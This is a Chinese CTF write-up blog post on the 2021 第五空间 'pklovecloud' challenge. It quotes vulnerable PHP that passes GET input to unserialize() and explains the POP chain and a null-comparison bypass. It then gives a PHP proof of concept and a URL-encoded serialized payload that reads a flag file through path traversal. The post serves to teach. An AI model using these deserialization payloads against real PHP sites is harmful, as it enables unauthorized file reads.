[第五空间 2021]pklovecloud

21 篇文章 0 订阅
<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

很长的php代码,先进行分析

首先看到包含了flag.php,说明flag可能在这个文件下,接下来观察是否有能读取flag.php文件的函数

可以看到有一个file_gett_contents()

file_get_contents()是一个PHP函数,用于读取文件中的内容并将其作为字符串返回。它接受一个参数,即要读取的文件的路径。 

 而要利用到该函数就要大体上看如何构造pop链,可以看到是在rce类中的echo_name方法中,而唯一能调用这个方法的只有rcp类中的Tostring方法中,该方法只要所在类被当成字符串处理就会触发

观察能处理字符串的只有echo

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

所以只要pks是实例化后的rcp类就可以触发_tostring,但是在此之前也就是tostring之上有一个__construct方法,该方法只要进行了反序列化就会触发,且这个触发要先于tostring

在这个方法内部是对cinder属性的实例化赋值,恰恰这个属性又刚好是tostring方法内要调用echo_name的判断条件,此外pkshow类中也有一个echo_name这个不是我们想要调用的

include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

而且可以看到cinder属性是受保护属性,只能靠赋值修改,所以这里我们将pkshow改成我们要的rce 

这样就可以满足调用又可以触发tostring了

 protected:受保护的属性只能在类的内部和继承类中访问。

再看到rce中利用函数的前提条件

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if($this->openstack->neutron === $this->openstack->nova)

 同一个类中的两个属性进行强比较,neutron有了赋值且赋值是$heat(整体没有出现)而nova又没有,这种情况下看着是无法相等的,但是这样可以利用null来进行比较,换句话说只要dokcer的类是null,哪无论怎么赋值结果都是null

这样我们就成功的绕过的比较利用到了file_get_contents()函数

POC:

<?php
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;
    }  
}  
class ace
{    
    public $filename='flag.php';
    public $openstack;
    public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=null;
echo urlencode(serialize($a));
?>

 上传后可以看到

flag在/nssctfasdasdflag

 修改读取再传

 发现又不在这个目录下,于是尝试着回到上一个目录../nssctfasdasdflag

最终payload:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

 

 

总结

1.利用null,无论如何赋值都是null从而绕过强比较

2.遇到受保护属性可以通过修改方法中的赋值来修改私有属性(很疑惑序列化后方法不是没了吗)


参考学习:

文章列表 | NSSCTF 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sharpery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值